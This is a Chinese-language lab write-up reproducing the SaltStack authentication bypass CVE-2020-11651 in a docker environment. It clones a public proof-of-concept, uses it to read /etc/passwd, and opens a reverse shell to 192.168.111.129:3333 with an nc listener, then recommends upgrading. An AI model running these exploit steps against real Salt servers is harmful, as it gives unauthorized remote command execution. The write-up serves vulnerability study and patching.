SaltStack 水平权限绕过漏洞(CVE-2020-11651)

前言

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

漏洞分析

漏洞由ClearFuncs类引起,该类无意中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻击者通过发送特制的请求可在minion端服务器上执行任意命令,还能够提取根**来调用master端服务器上的管理命令。

影响版本:

  • SaltStack Version < 2019.2.4
  • SaltStack Version < 3000.2

 

漏洞环境

执行如下命令启动一个SaltStack Master服务:

docker-compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

漏洞复现

本文档复现CVE-2020-11651漏洞。

首先我们下载poc

git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git

安装号salt即可运行

pip3 install salt

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

python3 CVE-2020-11651.py

给上目标后试试包含/etc/passwd文件

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

我们再试试反弹shell

选择4

192.168.111.129

3333

接着再监听端口3333

nc -lvvp 3333

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

修复建议

SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。

https://github.com/saltstack/salt/releases